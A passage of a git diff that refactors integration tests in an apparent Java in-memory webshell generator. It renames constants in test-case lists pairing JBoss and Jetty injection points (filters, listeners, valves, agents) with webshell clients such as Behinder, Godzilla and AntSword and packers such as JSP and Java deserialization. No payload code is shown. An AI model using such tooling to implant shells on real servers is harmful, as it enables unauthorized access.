arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JSP), - arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JSP), - arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JSP), - arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar), - arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar), - arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar), - arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.AntSword, Packers.AgentJar), - arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.AntSword, Packers.AgentJar), - arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Command, Packers.AgentJar), - arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packers.AgentJar), - arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packers.AgentJar) + arguments(imageName, ShellType.FILTER, ShellTool.Behinder, Packers.JSP), + arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, ShellType.FILTER, ShellTool.Command, Packers.JSP), + arguments(imageName, ShellType.FILTER, ShellTool.Suo5, Packers.JSP), + arguments(imageName, ShellType.FILTER, ShellTool.AntSword, Packers.JSP), + arguments(imageName, ShellType.LISTENER, ShellTool.Behinder, Packers.JSP), + arguments(imageName, ShellType.LISTENER, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, ShellType.LISTENER, ShellTool.Command, Packers.JSP), + arguments(imageName, ShellType.LISTENER, ShellTool.Suo5, Packers.JSP), + arguments(imageName, ShellType.LISTENER, ShellTool.AntSword, Packers.JSP), + arguments(imageName, ShellType.VALVE, ShellTool.Behinder, Packers.JSP), + arguments(imageName, ShellType.VALVE, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, ShellType.VALVE, ShellTool.Command, Packers.JSP), + arguments(imageName, ShellType.VALVE, ShellTool.Suo5, Packers.JSP), + arguments(imageName, ShellType.VALVE, ShellTool.AntSword, Packers.JSP), + arguments(imageName, ShellType.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar), + arguments(imageName, ShellType.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar), + arguments(imageName, ShellType.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar), + arguments(imageName, ShellType.AGENT_FILTER_CHAIN, ShellTool.AntSword, Packers.AgentJar), + arguments(imageName, ShellType.AGENT_CONTEXT_VALVE, ShellTool.AntSword, Packers.AgentJar), + arguments(imageName, ShellType.AGENT_CONTEXT_VALVE, ShellTool.Command, Packers.AgentJar), + arguments(imageName, ShellType.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packers.AgentJar), + arguments(imageName, ShellType.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packers.AgentJar) ); } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jbosseap/JbossEap6ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jbosseap/JbossEap6ContainerTest.java index e3c87a7c..3d5ea74d 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jbosseap/JbossEap6ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jbosseap/JbossEap6ContainerTest.java @@ -1,9 +1,9 @@ package com.reajason.javaweb.integration.jbosseap; -import com.reajason.javaweb.memshell.config.Constants; -import com.reajason.javaweb.memshell.config.Server; -import com.reajason.javaweb.memshell.config.ShellTool; -import com.reajason.javaweb.memshell.packer.Packers; +import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.memshell.Server; +import com.reajason.javaweb.memshell.ShellTool; +import com.reajason.javaweb.memshell.Packers; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.AfterAll; @@ -42,29 +42,29 @@ public class JbossEap6ContainerTest { static Stream casesProvider() { return Stream.of( - arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP), - arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSP), - arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSP), - arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JSP), - arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JSP), - arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JSP), - arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar), - arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar), - arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar), - arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.AntSword, Packers.AgentJar), - arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.AntSword, Packers.AgentJar), - arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Command, Packers.AgentJar), - arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packers.AgentJar), - arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packers.AgentJar) + arguments(imageName, ShellType.FILTER, ShellTool.Behinder, Packers.JSP), + arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, ShellType.FILTER, ShellTool.Command, Packers.JSP), + arguments(imageName, ShellType.FILTER, ShellTool.Suo5, Packers.JSP), + arguments(imageName, ShellType.FILTER, ShellTool.AntSword, Packers.JSP), + arguments(imageName, ShellType.LISTENER, ShellTool.Behinder, Packers.JSP), + arguments(imageName, ShellType.LISTENER, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, ShellType.LISTENER, ShellTool.Command, Packers.JSP), + arguments(imageName, ShellType.LISTENER, ShellTool.Suo5, Packers.JSP), + arguments(imageName, ShellType.LISTENER, ShellTool.AntSword, Packers.JSP), + arguments(imageName, ShellType.VALVE, ShellTool.Behinder, Packers.JSP), + arguments(imageName, ShellType.VALVE, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, ShellType.VALVE, ShellTool.Command, Packers.JSP), + arguments(imageName, ShellType.VALVE, ShellTool.Suo5, Packers.JSP), + arguments(imageName, ShellType.VALVE, ShellTool.AntSword, Packers.JSP), + arguments(imageName, ShellType.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar), + arguments(imageName, ShellType.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar), + arguments(imageName, ShellType.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar), + arguments(imageName, ShellType.AGENT_FILTER_CHAIN, ShellTool.AntSword, Packers.AgentJar), + arguments(imageName, ShellType.AGENT_CONTEXT_VALVE, ShellTool.AntSword, Packers.AgentJar), + arguments(imageName, ShellType.AGENT_CONTEXT_VALVE, ShellTool.Command, Packers.AgentJar), + arguments(imageName, ShellType.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packers.AgentJar), + arguments(imageName, ShellType.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packers.AgentJar) ); } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jbosseap/JbossEap7ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jbosseap/JbossEap7ContainerTest.java index 00963753..e280ee32 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jbosseap/JbossEap7ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jbosseap/JbossEap7ContainerTest.java @@ -1,10 +1,10 @@ package com.reajason.javaweb.integration.jbosseap; -import com.reajason.javaweb.memshell.UndertowShell; -import com.reajason.javaweb.memshell.config.Constants; -import com.reajason.javaweb.memshell.config.Server; -import com.reajason.javaweb.memshell.config.ShellTool; -import com.reajason.javaweb.memshell.packer.Packers; +import com.reajason.javaweb.memshell.server.UndertowShell; +import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.memshell.Server; +import com.reajason.javaweb.memshell.ShellTool; +import com.reajason.javaweb.memshell.Packers; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.AfterAll; @@ -43,36 +43,36 @@ public class JbossEap7ContainerTest { static Stream casesProvider() { return Stream.of( - arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.ScriptEngine), - arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.ScriptEngine), - arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.ScriptEngine), - arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.ScriptEngine), - arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.ScriptEngine), - arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.ScriptEngine), - arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.ScriptEngine), - arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.ScriptEngine), - arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.ScriptEngine), - arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.ScriptEngine), - arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.ScriptEngine), - arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.ScriptEngine), - arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.ScriptEngine), - arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.ScriptEngine), - arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.ScriptEngine), + arguments(imageName, ShellType.SERVLET, ShellTool.Behinder, Packers.JSP), + arguments(imageName, ShellType.SERVLET, ShellTool.Behinder, Packers.ScriptEngine), + arguments(imageName, ShellType.SERVLET, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, ShellType.SERVLET, ShellTool.Godzilla, Packers.ScriptEngine), + arguments(imageName, ShellType.SERVLET, ShellTool.Command, Packers.JSP), + arguments(imageName, ShellType.SERVLET, ShellTool.Command, Packers.ScriptEngine), + arguments(imageName, ShellType.SERVLET, ShellTool.Suo5, Packers.JSP), + arguments(imageName, ShellType.SERVLET, ShellTool.Suo5, Packers.ScriptEngine), + arguments(imageName, ShellType.SERVLET, ShellTool.AntSword, Packers.JSP), + arguments(imageName, ShellType.SERVLET, ShellTool.AntSword, Packers.ScriptEngine), + arguments(imageName, ShellType.FILTER, ShellTool.Behinder, Packers.JSP), + arguments(imageName, ShellType.FILTER, ShellTool.Behinder, Packers.ScriptEngine), + arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.ScriptEngine), + arguments(imageName, ShellType.FILTER, ShellTool.Command, Packers.JSP), + arguments(imageName, ShellType.FILTER, ShellTool.Command, Packers.ScriptEngine), + arguments(imageName, ShellType.FILTER, ShellTool.Suo5, Packers.JSP), + arguments(imageName, ShellType.FILTER, ShellTool.Suo5, Packers.ScriptEngine), + arguments(imageName, ShellType.FILTER, ShellTool.AntSword, Packers.JSP), + arguments(imageName, ShellType.FILTER, ShellTool.AntSword, Packers.ScriptEngine), + arguments(imageName, ShellType.LISTENER, ShellTool.Behinder, Packers.JSP), + arguments(imageName, ShellType.LISTENER, ShellTool.Behinder, Packers.ScriptEngine), + arguments(imageName, ShellType.LISTENER, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, ShellType.LISTENER, ShellTool.Godzilla, Packers.ScriptEngine), + arguments(imageName, ShellType.LISTENER, ShellTool.Command, Packers.JSP), + arguments(imageName, ShellType.LISTENER, ShellTool.Command, Packers.ScriptEngine), + arguments(imageName, ShellType.LISTENER, ShellTool.Suo5, Packers.JSP), + arguments(imageName, ShellType.LISTENER, ShellTool.Suo5, Packers.ScriptEngine), + arguments(imageName, ShellType.LISTENER, ShellTool.AntSword, Packers.JSP), + arguments(imageName, ShellType.LISTENER, ShellTool.AntSword, Packers.ScriptEngine), arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.AntSword, Packers.AgentJar), arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.Command, Packers.AgentJar), arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.Behinder, Packers.AgentJar), diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty10ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty10ContainerTest.java index 9ee9d4f8..655a1fb4 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty10ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty10ContainerTest.java @@ -1,10 +1,10 @@ package com.reajason.javaweb.integration.jetty; -import com.reajason.javaweb.memshell.JettyShell; -import com.reajason.javaweb.memshell.config.Constants; -import com.reajason.javaweb.memshell.config.Server; -import com.reajason.javaweb.memshell.config.ShellTool; -import com.reajason.javaweb.memshell.packer.Packers; +import com.reajason.javaweb.memshell.server.JettyShell; +import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.memshell.Server; +import com.reajason.javaweb.memshell.ShellTool; +import com.reajason.javaweb.memshell.Packers; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.AfterAll; @@ -42,30 +42,30 @@ public class Jetty10ContainerTest { static Stream casesProvider() { return Stream.of( - arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JavaDeserialize), - arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JavaDeserialize), - arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JavaDeserialize), - arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JavaDeserialize), - arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JavaDeserialize), - arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JavaDeserialize), - arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize), - arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize), - arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize), - arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize), - arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize), - arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, ShellType.SERVLET, ShellTool.Behinder, Packers.JSP), + arguments(imageName, ShellType.SERVLET, ShellTool.Behinder, Packers.JavaDeserialize), + arguments(imageName, ShellType.SERVLET, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, ShellType.SERVLET, ShellTool.Godzilla, Packers.JavaDeserialize), + arguments(imageName, ShellType.SERVLET, ShellTool.Command, Packers.JSP), + arguments(imageName, ShellType.SERVLET, ShellTool.Command, Packers.JavaDeserialize), + arguments(imageName, ShellType.SERVLET, ShellTool.Suo5, Packers.JSP), + arguments(imageName, ShellType.SERVLET, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, ShellType.FILTER, ShellTool.Behinder, Packers.JSP), + arguments(imageName, ShellType.FILTER, ShellTool.Behinder, Packers.JavaDeserialize), + arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JavaDeserialize), + arguments(imageName, ShellType.FILTER, ShellTool.Command, Packers.JSP), + arguments(imageName, ShellType.FILTER, ShellTool.Command, Packers.JavaDeserialize), + arguments(imageName, ShellType.FILTER, ShellTool.Suo5, Packers.JSP), + arguments(imageName, ShellType.FILTER, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, ShellType.LISTENER, ShellTool.Behinder, Packers.JSP), + arguments(imageName, ShellType.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize), + arguments(imageName, ShellType.LISTENER, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, ShellType.LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize), + arguments(imageName, ShellType.LISTENER, ShellTool.Command, Packers.JSP), + arguments(imageName, ShellType.LISTENER, ShellTool.Command, Packers.JavaDeserialize), + arguments(imageName, ShellType.LISTENER, ShellTool.Suo5, Packers.JSP), + arguments(imageName, ShellType.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize), arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Command, Packers.AgentJar), arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Behinder, Packers.AgentJar), arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Godzilla, Packers.AgentJar)); diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty11ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty11ContainerTest.java index d7ae751e..a67020b5 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty11ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty11ContainerTest.java @@ -1,10 +1,10 @@ package com.reajason.javaweb.integration.jetty; -import com.reajason.javaweb.memshell.JettyShell; -import com.reajason.javaweb.memshell.config.Constants; -import com.reajason.javaweb.memshell.config.Server; -import com.reajason.javaweb.memshell.config.ShellTool; -import com.reajason.javaweb.memshell.packer.Packers; +import com.reajason.javaweb.memshell.server.JettyShell; +import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.memshell.Server; +import com.reajason.javaweb.memshell.ShellTool; +import com.reajason.javaweb.memshell.Packers; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.AfterAll; @@ -42,30 +42,30 @@ public class Jetty11ContainerTest { static Stream casesProvider() { return Stream.of( - arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Behinder, Packers.JSP), - arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Behinder, Packers.JavaDeserialize), - arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Godzilla, Packers.JSP), - arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Godzilla, Packers.JavaDeserialize), - arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Command, Packers.JSP), - arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Command, Packers.JavaDeserialize), - arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Suo5, Packers.JSP), - arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Suo5, Packers.JavaDeserialize), - arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Behinder, Packers.JSP), - arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Behinder, Packers.JavaDeserialize), - arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Godzilla, Packers.JSP), - arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Godzilla, Packers.JavaDeserialize), - arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Command, Packers.JSP), - arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Command, Packers.JavaDeserialize), - arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Suo5, Packers.JSP), - arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Suo5, Packers.JavaDeserialize), - arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Behinder, Packers.JSP), - arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Behinder, Packers.JavaDeserialize), - arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Godzilla, Packers.JSP), - arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize), - arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packers.JSP), - arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packers.JavaDeserialize), - arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Suo5, Packers.JSP), - arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, ShellType.JAKARTA_SERVLET, ShellTool.Behinder, Packers.JSP), + arguments(imageName, ShellType.JAKARTA_SERVLET, ShellTool.Behinder, Packers.JavaDeserialize), + arguments(imageName, ShellType.JAKARTA_SERVLET, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, ShellType.JAKARTA_SERVLET, ShellTool.Godzilla, Packers.JavaDeserialize), + arguments(imageName, ShellType.JAKARTA_SERVLET, ShellTool.Command, Packers.JSP), + arguments(imageName, ShellType.JAKARTA_SERVLET, ShellTool.Command, Packers.JavaDeserialize), + arguments(imageName, ShellType.JAKARTA_SERVLET, ShellTool.Suo5, Packers.JSP), + arguments(imageName, ShellType.JAKARTA_SERVLET, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, ShellType.JAKARTA_FILTER, ShellTool.Behinder, Packers.JSP), + arguments(imageName, ShellType.JAKARTA_FILTER, ShellTool.Behinder, Packers.JavaDeserialize), + arguments(imageName, ShellType.JAKARTA_FILTER, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, ShellType.JAKARTA_FILTER, ShellTool.Godzilla, Packers.JavaDeserialize), + arguments(imageName, ShellType.JAKARTA_FILTER, ShellTool.Command, Packers.JSP), + arguments(imageName, ShellType.JAKARTA_FILTER, ShellTool.Command, Packers.JavaDeserialize), + arguments(imageName, ShellType.JAKARTA_FILTER, ShellTool.Suo5, Packers.JSP), + arguments(imageName, ShellType.JAKARTA_FILTER, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, ShellType.JAKARTA_LISTENER, ShellTool.Behinder, Packers.JSP), + arguments(imageName, ShellType.JAKARTA_LISTENER, ShellTool.Behinder, Packers.JavaDeserialize), + arguments(imageName, ShellType.JAKARTA_LISTENER, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, ShellType.JAKARTA_LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize), + arguments(imageName, ShellType.JAKARTA_LISTENER, ShellTool.Command, Packers.JSP), + arguments(imageName, ShellType.JAKARTA_LISTENER, ShellTool.Command, Packers.JavaDeserialize), + arguments(imageName, ShellType.JAKARTA_LISTENER, ShellTool.Suo5, Packers.JSP), + arguments(imageName, ShellType.JAKARTA_LISTENER, ShellTool.Suo5, Packers.JavaDeserialize), arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Command, Packers.AgentJar), arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Behinder, Packers.AgentJar), arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Godzilla, Packers.AgentJar) diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty61ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty61ContainerTest.java index 1324920d..2803d4bc 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty61ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty61ContainerTest.java @@ -1,9 +1,9 @@ package com.reajason.javaweb.integration.jetty; -import com.reajason.javaweb.memshell.config.Constants; -import com.reajason.javaweb.memshell.config.Server; -import com.reajason.javaweb.memshell.config.ShellTool; -import com.reajason.javaweb.memshell.packer.Packers; +import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.memshell.Server; +import com.reajason.javaweb.memshell.ShellTool; +import com.reajason.javaweb.memshell.Packers; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.AfterAll; @@ -41,36 +41,36 @@ public class Jetty61ContainerTest { static Stream casesProvider() { return Stream.of( - arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JavaDeserialize), - arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JavaDeserialize), - arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JavaDeserialize), - arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JavaDeserialize), - arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JavaDeserialize), - arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JavaDeserialize), - arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JavaDeserialize), - arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize), - arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize), - arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JavaDeserialize), - arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize), - arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize), - arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize), - arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize), - arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize) + arguments(imageName, ShellType.SERVLET, ShellTool.Behinder, Packers.JSP), + arguments(imageName, ShellType.SERVLET, ShellTool.Behinder, Packers.JavaDeserialize), + arguments(imageName, ShellType.SERVLET, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, ShellType.SERVLET, ShellTool.Godzilla, Packers.JavaDeserialize), + arguments(imageName, ShellType.SERVLET, ShellTool.Command, Packers.JSP), + arguments(imageName, ShellType.SERVLET, ShellTool.Command, Packers.JavaDeserialize), + arguments(imageName, ShellType.SERVLET, ShellTool.Suo5, Packers.JSP), + arguments(imageName, ShellType.SERVLET, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, ShellType.SERVLET, ShellTool.AntSword, Packers.JSP), + arguments(imageName, ShellType.SERVLET, ShellTool.AntSword, Packers.JavaDeserialize), + arguments(imageName, ShellType.FILTER, ShellTool.Behinder, Packers.JSP), + arguments(imageName, ShellType.FILTER, ShellTool.Behinder, Packers.JavaDeserialize), + arguments(imageName, 